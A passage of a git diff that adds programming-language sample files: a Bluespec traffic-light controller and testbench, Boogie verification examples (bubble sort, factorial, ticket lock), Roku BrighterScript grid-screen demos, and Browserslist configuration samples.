+	  hpr2 :: Rules = make_from_amber_rule AmberNS GreenE
+	  hpr3 :: Rules = make_from_green_rule GreenE ewGreenDelay car_present_E AmberE
+	  hpr4 :: Rules = make_from_amber_rule AmberE GreenW
+	  hpr5 :: Rules = make_from_green_rule GreenW ewGreenDelay car_present_W AmberW
+	  hpr6 :: Rules = make_from_amber_rule AmberW GreenNS
+
+          hprs :: Vector 7 Rules
+          hprs = Vector.cons hpr0
+                  (Vector.cons hpr1
+                    (Vector.cons hpr2
+                      (Vector.cons hpr3
+                        (Vector.cons hpr4
+                          (Vector.cons hpr5
+                            (Vector.cons hpr6
+                              Vector.nil))))))
+
+          high_priority_rules :: Rules
+          high_priority_rules = Vector.foldl1 rJoin hprs
+
+      addRules (preempts high_priority_rules low_priority_rule)
+
+      interface
+           ped_button_push =    ped_button_pushed := True
+
+           set_car_state_N b =  car_present_N := b
+           set_car_state_S b =  car_present_S := b
+           set_car_state_E b =  car_present_E := b
+           set_car_state_W b =  car_present_W := b
+
+           lampRedNS = not (state == GreenNS || state == AmberNS)
+           lampAmberNS =  state == AmberNS
+           lampGreenNS =  state == GreenNS
+           lampRedE =  not (state == GreenE || state == AmberE)
+           lampAmberE =  state == AmberE
+           lampGreenE =  state == GreenE
+           lampRedW = not (state == GreenW || state == AmberW)
+           lampAmberW =  state == AmberW
+           lampGreenW =  state == GreenW
+           lampRedPed = not (state == GreenPed || state == AmberPed)
+           lampAmberPed =  state == AmberPed
+           lampGreenPed =  state == GreenPed
diff --git a/samples/Bluespec BH/TbTL.bs b/samples/Bluespec BH/TbTL.bs
new file mode 100644
index 0000000000..379fe0ee05
--- /dev/null
+++ b/samples/Bluespec BH/TbTL.bs	
@@ -0,0 +1,122 @@
+package TbTL where
+
+import Vector
+
+import TL
+
+
+interface Lamp =
+    changed :: Bool
+    show_offs :: Action
+    show_ons :: Action
+    reset :: Action
+ 
+mkLamp :: String -> Bool -> Module Lamp
+mkLamp name lamp =
+    module
+      prev :: Reg Bool <- mkReg False
+      interface
+           changed =  prev /= lamp
+
+           show_offs =
+               if prev && not lamp then
+                  $write (name + " off, ")
+               else
+                  noAction
+
+           show_ons =
+               if not prev && lamp then
+                  $write (name + " on, ")
+               else
+                  noAction
+
+           reset =  prev := lamp
+
+
+{-# properties mkTest = { verilog } #-}
+mkTest :: Module Empty
+mkTest = 
+    module
+      dut <- sysTL
+
+      ctr :: Reg (Bit 16) <- mkReg 0
+
+      carN :: Reg Bool <- mkReg False
+      carS :: Reg Bool <- mkReg False
+      carE :: Reg Bool <- mkReg False
+      carW :: Reg Bool <- mkReg False
+
+      lamp0 :: Lamp <- mkLamp "0:  NS  red  " dut.lampRedNS
+      lamp1 :: Lamp <- mkLamp "1:  NS  amber" dut.lampAmberNS
+      lamp2 :: Lamp <- mkLamp "2:  NS  green" dut.lampGreenNS
+      lamp3 :: Lamp <- mkLamp "3:  E   red  " dut.lampRedE
+      lamp4 :: Lamp <- mkLamp "4:  E   amber" dut.lampAmberE
+      lamp5 :: Lamp <- mkLamp "5:  E   green" dut.lampGreenE
+      lamp6 :: Lamp <- mkLamp "6:  W   red  " dut.lampRedW
+      lamp7 :: Lamp <- mkLamp "7:  W   amber" dut.lampAmberW
+      lamp8 :: Lamp <- mkLamp "8:  W   green" dut.lampGreenW
+
+      lamp9 :: Lamp <- mkLamp "9:  Ped red  " dut.lampRedPed
+      lamp10 :: Lamp <- mkLamp "10: Ped amber" dut.lampAmberPed
+      lamp11 :: Lamp <- mkLamp "11: Ped green" dut.lampGreenPed
+
+      let lamps :: Vector 12 Lamp
+          lamps = Vector.cons lamp0
+                   (Vector.cons lamp1
+                     (Vector.cons lamp2
+                       (Vector.cons lamp3
+                         (Vector.cons lamp4
+                           (Vector.cons lamp5
+                             (Vector.cons lamp6
+                               (Vector.cons lamp7
+                                 (Vector.cons lamp8
+                                   (Vector.cons lamp9
+                                     (Vector.cons lamp10
+                                       (Vector.cons lamp11 nil)))))))))))
+
+      rules
+           "start":  when ctr == 0   ==> $dumpvars
+           
+           "detect_cars":  when True
+                            ==>
+                              action
+                                dut.set_car_state_N carN
+                                dut.set_car_state_S carS
+                                dut.set_car_state_E carE
+                                dut.set_car_state_W carW
+           
+           "go":  when True
+                   ==>
+                     action
+                       ctr := (ctr + 1)
+                       if ctr == 5000 then
+                          carN := True
+                        else if ctr == 6500 then
+                          carN := False
+                        else if ctr == 12000 then
+                          dut.ped_button_push
+                        else
+                          noAction
+           
+           "stop":  when ctr > 32768   ==> action
+                                             $display "TESTS FINISHED"
+                                             $finish 0
+
+      let do_offs  l =  l.show_offs
+          do_ons   l =  l.show_ons
+          do_reset l =  l.reset
+          changed  l =  l.changed
+
+          do_it f = Vector.mapM_ f lamps
+
+          any_changes = Vector.any changed lamps
+
+      rules
+           "show":  when any_changes
+                     ==>
+                       action
+                         do_it do_offs
+                         do_it do_ons
+                         do_it do_reset
+                         $display "(at time %d)" ($time)
+
diff --git a/samples/Boogie/Bubble.bpl b/samples/Boogie/Bubble.bpl
new file mode 100644
index 0000000000..08f4f32a08
--- /dev/null
+++ b/samples/Boogie/Bubble.bpl
@@ -0,0 +1,82 @@
+// RUN: %boogie "%s" > "%t"
+// RUN: %diff "%s.expect" "%t"
+// Bubble Sort, where the specification says the output is a permutation of
+// the input.
+
+// Introduce a constant 'N' and postulate that it is non-negative
+const N: int;
+axiom 0 <= N;
+
+// Declare a map from integers to integers.  In the procedure below, 'a' will be
+// treated as an array of 'N' elements, indexed from 0 to less than 'N'.
+var a: [int]int;
+
+// This procedure implements Bubble Sort.  One of the postconditions says that,
+// in the final state of the procedure, the array is sorted.  The other
+// postconditions say that the final array is a permutation of the initial
+// array.  To write that part of the specification, the procedure returns that
+// permutation mapping.  That is, out-parameter 'perm' injectively maps the
+// numbers [0..N) to [0..N), as stated by the second and third postconditions.
+// The final postcondition says that 'perm' describes how the elements in
+// 'a' moved:  what is now at index 'i' used to be at index 'perm[i]'.
+// Note, the specification says nothing about the elements of 'a' outside the
+// range [0..N).  Moreover, Boogie does not prove that the program will terminate.
+
+procedure BubbleSort() returns (perm: [int]int)
+  modifies a;
+  // array is sorted
+  ensures (forall i, j: int :: 0 <= i && i <= j && j < N ==> a[i] <= a[j]);
+  // perm is a permutation
+  ensures (forall i: int :: 0 <= i && i < N ==> 0 <= perm[i] && perm[i] < N);
+  ensures (forall i, j: int :: 0 <= i && i < j && j < N ==> perm[i] != perm[j]);
+  // the final array is that permutation of the input array
+  ensures (forall i: int :: 0 <= i && i < N ==> a[i] == old(a)[perm[i]]);
+{
+  var n, p, tmp: int;
+
+  n := 0;
+  while (n < N)
+    invariant n <= N;
+    invariant (forall i: int :: 0 <= i && i < n ==> perm[i] == i);
+  {
+    perm[n] := n;
+    n := n + 1;
+  }
+
+  while (true)
+    invariant 0 <= n && n <= N;
+    // array is sorted from n onwards
+    invariant (forall i, k: int :: n <= i && i < N && 0 <= k && k < i ==> a[k] <= a[i]);
+    // perm is a permutation
+    invariant (forall i: int :: 0 <= i && i < N ==> 0 <= perm[i] && perm[i] < N);
+    invariant (forall i, j: int :: 0 <= i && i < j && j < N ==> perm[i] != perm[j]);
+    // the current array is that permutation of the input array
+    invariant (forall i: int :: 0 <= i && i < N ==> a[i] == old(a)[perm[i]]);
+  {
+    n := n - 1;
+    if (n < 0) {
+      break;
+    }
+
+    p := 0;
+    while (p < n)
+      invariant 0 <= p && p <= n;
+      // array is sorted from n+1 onwards
+      invariant (forall i, k: int :: n+1 <= i && i < N && 0 <= k && k < i ==> a[k] <= a[i]);
+      // perm is a permutation
+      invariant (forall i: int :: 0 <= i && i < N ==> 0 <= perm[i] && perm[i] < N);
+      invariant (forall i, j: int :: 0 <= i && i < j && j < N ==> perm[i] != perm[j]);
+      // the current array is that permutation of the input array
+      invariant (forall i: int :: 0 <= i && i < N ==> a[i] == old(a)[perm[i]]);
+      // a[p] is at least as large as any of the first p elements
+      invariant (forall k: int :: 0 <= k && k < p ==> a[k] <= a[p]);
+    {
+      if (a[p+1] < a[p]) {
+        tmp := a[p];  a[p] := a[p+1];  a[p+1] := tmp;
+        tmp := perm[p];  perm[p] := perm[p+1];  perm[p+1] := tmp;
+      }
+
+      p := p + 1;
+    }
+  }
+}
diff --git a/samples/Boogie/TuringFactorial.bpl b/samples/Boogie/TuringFactorial.bpl
new file mode 100644
index 0000000000..585083ed03
--- /dev/null
+++ b/samples/Boogie/TuringFactorial.bpl
@@ -0,0 +1,36 @@
+// RUN: %boogie "%s" > "%t"
+// RUN: %diff "%s.expect" "%t"
+// A Boogie version of Turing's additive factorial program, from "Checking a large routine"
+// published in the "Report of a Conference of High Speed Automatic Calculating Machines",
+// pp. 67-69, 1949.
+
+procedure ComputeFactorial(n: int) returns (u: int)
+  requires 1 <= n;
+  ensures u == Factorial(n);
+{
+  var r, v, s: int;
+  r, u := 1, 1;
+TOP:  // B
+  assert 1 <= r && r <= n;
+  assert 1 <= u;
+  assert u == Factorial(r);
+  v := u;
+  if (n <= r) { return; }
+  s := 1;
+INNER:  // E
+  assert s <= r;
+  assert v == Factorial(r) && u == s * Factorial(r);
+  u := u + v;
+  s := s + 1;
+  assert s - 1 <= r;
+  if (s <= r) { goto INNER; }
+  r := r + 1;
+  goto TOP;
+}
+
+function Factorial(int): int;
+axiom Factorial(0) == 1;
+axiom (forall n: int :: {Factorial(n)}  1 <= n ==> Factorial(n) == n * Factorial_Aux(n-1));
+
+function Factorial_Aux(int): int;
+axiom (forall n: int :: {Factorial(n)} Factorial(n) == Factorial_Aux(n));
diff --git a/samples/Boogie/ticket.bpl b/samples/Boogie/ticket.bpl
new file mode 100644
index 0000000000..e27c946be8
--- /dev/null
+++ b/samples/Boogie/ticket.bpl
@@ -0,0 +1,154 @@
+// RUN: %boogie "%s" > "%t"
+// RUN: %diff "%s.expect" "%t"
+
+function RightOpen (n: int) : [int]bool;
+function RightClosed (n: int) : [int]bool;
+axiom (forall x: int, y: int :: RightOpen(x)[y] <==> y < x);
+axiom (forall x: int, y: int :: RightClosed(x)[y] <==> y <= x);
+
+type {:linear "tid"} X;
+const nil: X;
+var {:layer 0,1} t: int;       // next ticket to issue
+var {:layer 0,2} s: int;       // current ticket permitted to critical section
+var {:layer 0,2} cs: X;        // current thread in critical section
+var {:layer 0,2} T: [int]bool; // set of issued tickets
+
+// ###########################################################################
+// Invariants
+
+function {:inline} Inv1 (tickets: [int]bool, ticket: int): (bool)
+{
+  tickets == RightOpen(ticket)
+}
+
+function {:inline} Inv2 (tickets: [int]bool, ticket: int, lock: X): (bool)
+{
+  if (lock == nil) then tickets == RightOpen(ticket)
+                   else tickets == RightClosed(ticket)
+}
+
+// ###########################################################################
+// Yield invariants
+
+procedure {:yield_invariant} {:layer 2} YieldSpec ({:linear "tid"} tid: X);
+requires tid != nil && cs == tid;
+
+procedure {:yield_invariant} {:layer 1} Yield1 ();
+requires Inv1(T, t);
+
+procedure {:yield_invariant} {:layer 2} Yield2 ();
+requires Inv2(T, s, cs);
+
+// ###########################################################################
+// Main program
+
+procedure {:yields} {:layer 2} main ({:linear_in "tid"} xls':[X]bool)
+requires {:layer 2} xls' == MapConst(true);
+{
+  var {:linear "tid"} tid: X;
+  var {:linear "tid"} xls: [X]bool;
+
+  call InitAbstract(xls');
+  xls := xls';
+
+  while (*)
+  invariant {:yields} {:layer 1,2} {:yield_loop "Yield1"} {:yield_loop "Yield2"} true;
+  {
+    par xls, tid := Allocate(xls) | Yield1() | Yield2();
+    async call Customer(tid);
+  }
+}
+
+procedure {:yields} {:layer 2} Allocate ({:linear_in "tid"} xls':[X]bool) returns ({:linear "tid"} xls: [X]bool, {:linear "tid"} xl: X)
+ensures {:layer 1,2} xl != nil;
+{
+  call xls, xl := AllocateLow(xls');
+}
+
+procedure {:yields} {:layer 2}
+{:yield_requires "Yield1"}
+{:yield_requires "Yield2"}
+Customer ({:linear_in "tid"} tid: X)
+requires {:layer 2} tid != nil;
+{
+  while (*)
+  invariant {:yields} {:layer 1,2} {:yield_loop "Yield1"} {:yield_loop "Yield2"} true;
+  {
+    call Enter(tid);
+    par Yield1() | Yield2() | YieldSpec(tid);
+    call Leave(tid);
+  }
+}
+
+procedure {:yields} {:layer 2}
+{:yield_preserves "Yield1"}
+{:yield_preserves "Yield2"}
+{:yield_ensures   "YieldSpec", tid}
+Enter ({:linear "tid"} tid: X)
+requires {:layer 2} tid != nil;
+{
+  var m: int;
+
+  call m := GetTicketAbstract(tid);
+  call WaitAndEnter(tid, m);
+}
+
+// ###########################################################################
+// Abstractions of primitive atomic actions
+
+// Note how GetTicketAbstract becomes a right mover
+
+procedure {:atomic} {:layer 2} AtomicInitAbstract ({:linear "tid"} xls:[X]bool)
+modifies cs, s, T;
+{ assert xls == MapConst(true); cs := nil; s := 0; T := RightOpen(0); }
+
+procedure {:yields} {:layer 1} {:refines "AtomicInitAbstract"} InitAbstract ({:linear "tid"} xls:[X]bool)
+ensures  {:layer 1} Inv1(T, t);
+{
+  call Init(xls);
+}
+
+procedure {:right} {:layer 2} AtomicGetTicketAbstract ({:linear "tid"} tid: X) returns (m: int)
+modifies T;
+{ assume !T[m]; T[m] := true; }
+
+procedure {:yields} {:layer 1} {:refines "AtomicGetTicketAbstract"} GetTicketAbstract ({:linear "tid"} tid: X) returns (m: int)
+requires {:layer 1} Inv1(T, t);
+ensures  {:layer 1} Inv1(T, t);
+{
+  par Yield1();
+  call m := GetTicket(tid);
+  par Yield1();
+}
+
+// ###########################################################################
+// Primitive atomic actions
+
+procedure {:atomic} {:layer 1} AtomicInit ({:linear "tid"} xls:[X]bool)
+modifies cs, t, s, T;
+{ assert xls == MapConst(true); cs := nil; t := 0; s := 0; T := RightOpen(0); }
+
+procedure {:yields} {:layer 0} {:refines "AtomicInit"} Init ({:linear "tid"} xls:[X]bool);
+
+procedure {:atomic} {:layer 1} AtomicGetTicket ({:linear "tid"} tid: X) returns (m: int)
+modifies t, T;
+{ m := t; t := t + 1; T[m] := true; }
+
+procedure {:yields} {:layer 0} {:refines "AtomicGetTicket"} GetTicket ({:linear "tid"} tid: X) returns (m: int);
+
+procedure {:atomic} {:layer 1,2} AtomicWaitAndEnter ({:linear "tid"} tid: X, m:int)
+modifies cs;
+{ assume m == s; cs := tid; }
+
+procedure {:yields} {:layer 0} {:refines "AtomicWaitAndEnter"} WaitAndEnter ({:linear "tid"} tid: X, m:int);
+
+procedure {:atomic} {:layer 1,2} AtomicLeave ({:linear "tid"} tid: X)
+modifies cs, s;
+{ assert cs == tid; s := s + 1; cs := nil; }
+
+procedure {:yields} {:layer 0} {:refines "AtomicLeave"} Leave ({:linear "tid"} tid: X);
+
+procedure {:atomic} {:layer 1,2} AtomicAllocateLow ({:linear_in "tid"} xls':[X]bool) returns ({:linear "tid"} xls: [X]bool, {:linear "tid"} xl: X)
+{ assume xl != nil && xls'[xl]; xls := xls'[xl := false]; }
+
+procedure {:yields} {:layer 0} {:refines "AtomicAllocateLow"} AllocateLow ({:linear_in "tid"} xls':[X]bool) returns ({:linear "tid"} xls: [X]bool, {:linear "tid"} xl: X);
diff --git a/samples/BrighterScript/Main.bs b/samples/BrighterScript/Main.bs
new file mode 100644
index 0000000000..c7723bb1b8
--- /dev/null
+++ b/samples/BrighterScript/Main.bs
@@ -0,0 +1,64 @@
+' *********************************************************
+' **  BrighterScript demonstration file
+' **  Nov 2021
+' **  Using Roku's SimpleGrid example
+' *********************************************************
+
+'************************************************************
+'** Import statement
+'************************************************************
+import "SimpleGrid.bs"
+
+'************************************************************
+'** New Functionalitys examples
+'************************************************************
+function Main() as Void
+    app = new ApplicationClass()
+end function
+
+class ApplicationClass
+    public thisIsATernaryExample as string
+    public thisIsAStringTemplateExample as string
+    public user as Dynamic
+    public aNode as Object
+
+    public function new() as Void
+        m.init()
+    end function
+
+    private function init()
+        'Run imported SimpleGrid StartApp()
+        StartApp()
+
+        'Ternary operator
+        m.thisIsATernaryExample = 1 = 1 ? "1 equals 1" : "1 is different from 1"
+        print "Ternary example: ", m.thisIsATernaryExample
+
+        'Template Strings
+        m.thisIsAStringTemplateExample = `The result from ternary example is ${m.thisIsATernaryExample}`
+        print "Template strings example: ", m.thisIsAStringTemplateExample
+
+        'Null-coalescing operator
+        user = m.user ?? "User is null/invalid, got this string instead"
+        print "Null-coalescing operator: ", user
+
+        'Regular Expression Literals
+        '   Gets transpiled to -> print CreateObject("roRegex", "hello world", "ig")
+        print /hello world/ig
+
+        'Source Literals
+        '   prints "file :///PATH.bs"
+        print SOURCE_FILE_PATH
+        '   prints the "print SOURCE_LINE_NUM" line's number
+        print SOURCE_LINE_NUM
+        '   prints function's name
+        print FUNCTION_NAME
+        '   prints function's name, namespaced, ex: class.functionName
+        print SOURCE_FUNCTION_NAME
+        '   prints a combination of SOURCE_FILE_PATH and SOURCE_LINE_NUM. ex: "file :///PATH.bs"
+        print SOURCE_LOCATION
+        '   prints The pkg path of the file. ex: "pkg:/source/main.brs"
+        print PKG_PATH
+    end function
+
+end class
diff --git a/samples/BrighterScript/RowListExample.bs b/samples/BrighterScript/RowListExample.bs
new file mode 100644
index 0000000000..7f378e93a6
--- /dev/null
+++ b/samples/BrighterScript/RowListExample.bs
@@ -0,0 +1,21 @@
+sub Main()
+    showChannelSGScreen()
+  end sub
+  
+  sub showChannelSGScreen()
+    screen = CreateObject("roSGScreen")
+    m.port = CreateObject("roMessagePort")
+    screen.setMessagePort(m.port)
+    scene = screen.CreateScene("RowListExample")
+    screen.show()
+  
+    while(true)
+      msg = wait(0, m.port)
+      msgType = type(msg)
+  
+      if msgType = "roSGScreenEvent"
+        if msg.isScreenClosed() then return
+      end if
+    end while
+  
+  end sub
\ No newline at end of file
diff --git a/samples/BrighterScript/SimpleGrid.bs b/samples/BrighterScript/SimpleGrid.bs
new file mode 100644
index 0000000000..e3368efa18
--- /dev/null
+++ b/samples/BrighterScript/SimpleGrid.bs
@@ -0,0 +1,299 @@
+'************************************************************
+'** Application startup
+'************************************************************
+Sub StartApp()
+
+    'initialize theme attributes like titles, logos and overhang color
+    initTheme()
+  
+    gridstyle = "Flat-Movie"
+
+    'set to go, time to get started
+    while gridstyle <> ""
+        print "starting grid style= ";gridstyle
+        screen=preShowGridScreen(gridstyle)
+        gridstyle = showGridScreen(screen, gridstyle)
+    end while
+
+End Sub
+
+
+'*************************************************************
+'** Set the configurable theme attributes for the application
+'** 
+'** Configure the custom overhang and Logo attributes
+'** These attributes affect the branding of the application
+'** and are artwork, colors and offsets specific to the app
+'*************************************************************
+
+Sub initTheme()
+    app = CreateObject("roAppManager")
+    app.SetTheme(CreateDefaultTheme())
+End Sub
+
+'******************************************************
+'** @return The default application theme.
+'** Screens can make slight adjustments to the default
+'** theme by getting it from here and then overriding
+'** individual theme attributes.
+'******************************************************
+Function CreateDefaultTheme() as Object
+    theme = CreateObject("roAssociativeArray")
+
+    theme.ThemeType = "generic-dark"
+
+    ' All these are greyscales
+    theme.GridScreenBackgroundColor = "#363636"
+    theme.GridScreenMessageColor    = "#808080"
+    theme.GridScreenRetrievingColor = "#CCCCCC"
+    theme.GridScreenListNameColor   = "#FFFFFF"
+
+    ' Color values work here
+    theme.GridScreenDescriptionTitleColor    = "#001090"
+    theme.GridScreenDescriptionDateColor     = "#FF005B"
+    theme.GridScreenDescriptionRuntimeColor  = "#5B005B"
+    theme.GridScreenDescriptionSynopsisColor = "#606000"
+    
+    'used in the Grid Screen
+    theme.CounterTextLeft           = "#FF0000"
+    theme.CounterSeparator          = "#00FF00"
+    theme.CounterTextRight          = "#0000FF"
+    
+    theme.GridScreenLogoHD          = "pkg:/images/Overhang_Test_HD.png"
+
+    theme.GridScreenLogoOffsetHD_X  = "0"
+    theme.GridScreenLogoOffsetHD_Y  = "0"
+    theme.GridScreenOverhangHeightHD = "99"
+
+    theme.GridScreenLogoSD          = "pkg:/images/Overhang_Test_SD43.png"
+    theme.GridScreenOverhangHeightSD = "66"
+    theme.GridScreenLogoOffsetSD_X  = "0"
+    theme.GridScreenLogoOffsetSD_Y  = "0"
+    
+    ' to use your own focus ring artwork 
+    'theme.GridScreenFocusBorderSD        = "pkg:/images/GridCenter_Border_Movies_SD43.png"
+    'theme.GridScreenBorderOffsetSD  = "(-26,-25)"
+    'theme.GridScreenFocusBorderHD        = "pkg:/images/GridCenter_Border_Movies_HD.png"
+    'theme.GridScreenBorderOffsetHD  = "(-28,-20)"
+    
+    ' to use your own description background artwork
+    'theme.GridScreenDescriptionImageSD  = "pkg:/images/Grid_Description_Background_SD43.png"
+    'theme.GridScreenDescriptionOffsetSD = "(125,170)"
+    'theme.GridScreenDescriptionImageHD  = "pkg:/images/Grid_Description_Background_HD.png"
+    'theme.GridScreenDescriptionOffsetHD = "(190,255)"
+    
+
+    return theme
+End Function
+
+'******************************************************
+'** Perform any startup/initialization stuff prior to 
+'** initially showing the screen.  
+'******************************************************
+Function preShowGridScreen(style as string) As Object
+
+    m.port=CreateObject("roMessagePort")
+    screen = CreateObject("roGridScreen")
+    screen.SetMessagePort(m.port)
+'    screen.SetDisplayMode("best-fit")
+    screen.SetDisplayMode("scale-to-fill")
+
+    screen.SetGridStyle(style)
+    return screen
+
+End Function
+
+
+'******************************************************
+'** Display the gird screen and wait for events from 
+'** the screen. The screen will show retreiving while
+'** we fetch and parse the feeds for the show posters
+'******************************************************
+Function showGridScreen(screen As Object, gridstyle as string) As string
+
+    print "enter showGridScreen"
+
+    categoryList = getCategoryList()
+    categoryList[0] = "GridStyle: " + gridstyle
+    screen.setupLists(categoryList.count())
+    screen.SetListNames(categoryList)
+    StyleButtons = getGridControlButtons()
+    screen.SetContentList(0, StyleButtons)
+    for i = 1 to categoryList.count()-1
+        screen.SetContentList(i, getShowsForCategoryItem(categoryList[i]))
+    end for
+    screen.Show()
+
+    while true
+        print "Waiting for message"
+        msg = wait(0, m.port)
+        'msg = wait(0, screen.GetMessagePort())     ' getmessageport does not work on gridscreen
+        print "Got Message:";type(msg)
+        if type(msg) = "roGridScreenEvent" then
+            print "msg= "; msg.GetMessage() " , index= "; msg.GetIndex(); " data= "; msg.getData()
+            if msg.isListItemFocused() then
+                print"list item focused | current show = "; msg.GetIndex()
+            else if msg.isListItemSelected() then
+                row = msg.GetIndex()
+                selection = msg.getData()
+                print "list item selected row= "; row; " selection= "; selection
+
+                ' Did we get a selection from the gridstyle selection row?
+                if (row = 0)
+                    ' yes, return so we can come back with new style
+                    return StyleButtons[selection].Title
+                endif
+
+                'm.curShow = displayShowDetailScreen(showList[msg.GetIndex()])
+            else if msg.isScreenClosed() then
+                return ""
+            end if
+        end If
+    end while
+
+
+End Function
+
+'**********************************************************
+'** When a poster on the home screen is selected, we call
+'** this function passing an roAssociativeArray with the 
+'** ContentMetaData for the selected show.  This data should 
+'** be sufficient for the springboard to display
+'**********************************************************
+Function displayShowDetailScreen(category as Object, showIndex as Integer) As Integer
+
+    'add code to create springboard, for now we do nothing
+    return 1
+
+End Function
+
+
+'**************************************************************
+'** Return the list of categories to display in the filter
+'** banner. The result is an roArray containing the names of 
+'** all of the categories. All just static data for the example.
+'***************************************************************
+Function getCategoryList() As Object
+
+    categoryList = [ "GridStyle", "Reality", "History", "News", "Comedy", "Drama"]
+    return categoryList
+
+End Function
+
+
+'********************************************************************
+'** Given the category from the filter banner, return an array 
+'** of ContentMetaData objects (roAssociativeArray's) representing 
+'** the shows for the category. For this example, we just cheat and
+'** create and return a static array with just the minimal items
+'** set, but ideally, you'd go to a feed service, fetch and parse
+'** this data dynamically, so content for each category is dynamic
+'********************************************************************
+Function getShowsForCategoryItem(category As Object) As Object
+
+    print "getting shows for category "; category
+
+    showList = [
+        {
+            Title: category + ": Header",
+            releaseDate: "1976",
+            length: 3600-600,
+            Description:"This row is category " + category,
+            hdBranded: true,
+            HDPosterUrl:"http://upload.wikimedia.org/wikipedia/commons/4/43/Gold_star_on_blue.gif",
+            SDPosterUrl:"http://upload.wikimedia.org/wikipedia/commons/4/43/Gold_star_on_blue.gif",
+            Description:"Short Synopsis #1",
+            Synopsis:"Length",
+            StarRating:10,
+        }
+        {
+            Title: category + ": Beverly Hillbillies",
+            releaseDate: "1969",
+            rating: "PG",
+            Description:"Come and listen to a story about a man named Jed: Poor mountaineer, barely kept his family fed. Then one day he was shootin at some food, and up through the ground came a bubblin crude. Oil that is, black gold, Texas tea.",
+            numEpisodes:42,
+            contentType:"season",
+            HDPosterUrl:"http://upload.wikimedia.org/wikipedia/en/4/4e/The_Beverly_Hillbillies.jpg",
+            SDPosterUrl:"http://upload.wikimedia.org/wikipedia/en/4/4e/The_Beverly_Hillbillies.jpg",
+            StarRating:80,
+            UserStarRating:40
+        }
+        {
+            Title: category + ": Babylon 5",
+            releaseDate: "1996",
+            rating: "PG",
+            Description:"The show centers on the Babylon 5 space station: a focal point for politics, diplomacy, and conflict during the years 2257-2262.",
+            numEpisodes:102,
+            contentType:"season",
+            HDPosterUrl:"http://upload.wikimedia.org/wikipedia/en/9/9d/Smb5-s4.jpg",
+            SDPosterUrl:"http://upload.wikimedia.org/wikipedia/en/9/9d/Smb5-s4.jpg",
+            StarRating:80,
+            UserStarRating:40
+        }
+        {
+            Title: category + ": John F. Kennedy",
+            releaseDate: "1961",
+            rating: "PG",
+            Description:"My fellow citizens of the world: ask not what America will do for you, but what together we can do for the freedom of man.",
+            HDPosterUrl:"http://upload.wikimedia.org/wikipedia/en/5/52/Jfk_happy_birthday_1.jpg",
+            SDPosterUrl:"http://upload.wikimedia.org/wikipedia/en/5/52/Jfk_happy_birthday_1.jpg",
+            StarRating:100
+        }
+        {
+            Title: category + ": Man on the Moon",
+            releaseDate: "1969",
+            rating: "PG",
+            Description:"That's one small step for a man, one giant leap for mankind.",
+            HDPosterUrl:"http://upload.wikimedia.org/wikipedia/commons/1/1e/Apollo_11_first_step.jpg",
+            SDPosterUrl:"http://upload.wikimedia.org/wikipedia/commons/1/1e/Apollo_11_first_step.jpg",
+            StarRating:100
+        }
+        {
+            Title: category + ": I have a Dream",
+            releaseDate: "1963",
+            rating: "PG",
+            Description:"I have a dream that my four little children will one day live in a nation where they will not be judged by the color of their skin, but by the content of their character.",
+            HDPosterUrl:"http://upload.wikimedia.org/wikipedia/commons/8/81/Martin_Luther_King_-_March_on_Washington.jpg",
+            SDPosterUrl:"http://upload.wikimedia.org/wikipedia/commons/8/81/Martin_Luther_King_-_March_on_Washington.jpg",
+            StarRating:100
+        }
+    ]
+
+    return showList
+End Function
+    
+function getGridControlButtons() as object
+        buttons = [
+            { Title: "Flat-Movie"
+              ReleaseDate: "HD:5x2 SD:5x2"
+              Description: "Flat-Movie (Netflix) style"
+              HDPosterUrl:"http://upload.wikimedia.org/wikipedia/commons/4/43/Gold_star_on_blue.gif"
+              SDPosterUrl:"http://upload.wikimedia.org/wikipedia/commons/4/43/Gold_star_on_blue.gif"
+            }
+            { Title: "Flat-Landscape"
+              ReleaseDate: "HD:5x3 SD:4x3"
+              Description: "Channel Store"
+              HDPosterUrl:"http://upload.wikimedia.org/wikipedia/commons/thumb/9/96/Dunkery_Hill.jpg/800px-Dunkery_Hill.jpg",
+              SDPosterUrl:"http://upload.wikimedia.org/wikipedia/commons/thumb/9/96/Dunkery_Hill.jpg/800px-Dunkery_Hill.jpg",
+            }
+            { Title: "Flat-Portrait"
+              ReleaseDate: "HD:5x2 SD:5x2"
+              Description: "3x4 style posters"
+              HDPosterUrl:"http://upload.wikimedia.org/wikipedia/commons/9/9f/Kane_George_Gurnett.jpg",
+              SDPosterUrl:"http://upload.wikimedia.org/wikipedia/commons/9/9f/Kane_George_Gurnett.jpg",
+            }
+            { Title: "Flat-Square"
+              ReleaseDate: "HD:7x3 SD:6x3"
+              Description: "1x1 style posters"
+              HDPosterUrl:"http://upload.wikimedia.org/wikipedia/commons/thumb/d/de/SQUARE_SHAPE.svg/536px-SQUARE_SHAPE.svg.png",
+              SDPosterUrl:"http://upload.wikimedia.org/wikipedia/commons/thumb/d/de/SQUARE_SHAPE.svg/536px-SQUARE_SHAPE.svg.png",
+            }
+            { Title: "Flat-16x9"
+              ReleaseDate: "HD:5x3 SD:4x3"
+              Description: "HD style posters"
+              HDPosterUrl:"http://upload.wikimedia.org/wikipedia/commons/thumb/2/22/%C3%89cran_TV_plat.svg/200px-%C3%89cran_TV_plat.svg.png",
+              SDPosterUrl:"http://upload.wikimedia.org/wikipedia/commons/thumb/2/22/%C3%89cran_TV_plat.svg/200px-%C3%89cran_TV_plat.svg.png",
+            }
+       ]
+       return buttons
+End Function
diff --git a/samples/Browserslist/filenames/.browserslistrc b/samples/Browserslist/filenames/.browserslistrc
new file mode 100644
index 0000000000..65a7ddf745
--- /dev/null
+++ b/samples/Browserslist/filenames/.browserslistrc
@@ -0,0 +1,30 @@
+# Comment
+defaults
+
+# Not keyword
+not dead
+
+# Market share with %
+> 10%
+< 1.5% in US
+>= .5%
+
+# Rare queries
+maintained node versions
+supports es6-module
+
+# Extend keyword
+extend @company/browserslist-config
+
+# Direct versions
+Chrome 50
+Firefox ESR
+Safari TP
+OperaMini all
+
+# Block header
+[production]
+# and keyword
+Edge > 40 and Edge < 43
+# or/, keywords
+IE 11 or IE 10, ie 9
\ No newline at end of file
diff --git a/samples/Browserslist/filenames/browserslist b/samples/Browserslist/filenames/browserslist
new file mode 100644
index 0000000000..65a7ddf745
--- /dev/null
+++ b/samples/Browserslist/filenames/browserslist
@@ -0,0 +1,30 @@
+# Comment
+defaults
+
+# Not keyword
+not dead
+
+# Market share with %
+> 10%
+< 1.5% in US
+>= .5%
+
+# Rare queries
+maintained node versions
+supports es6-module
+
+# Extend keyword
+extend @company/browserslist-config
+
+# Direct versions
+Chrome 50
+Firefox ESR
+Safari TP
+OperaMini all
+
+# Block header
+[production]
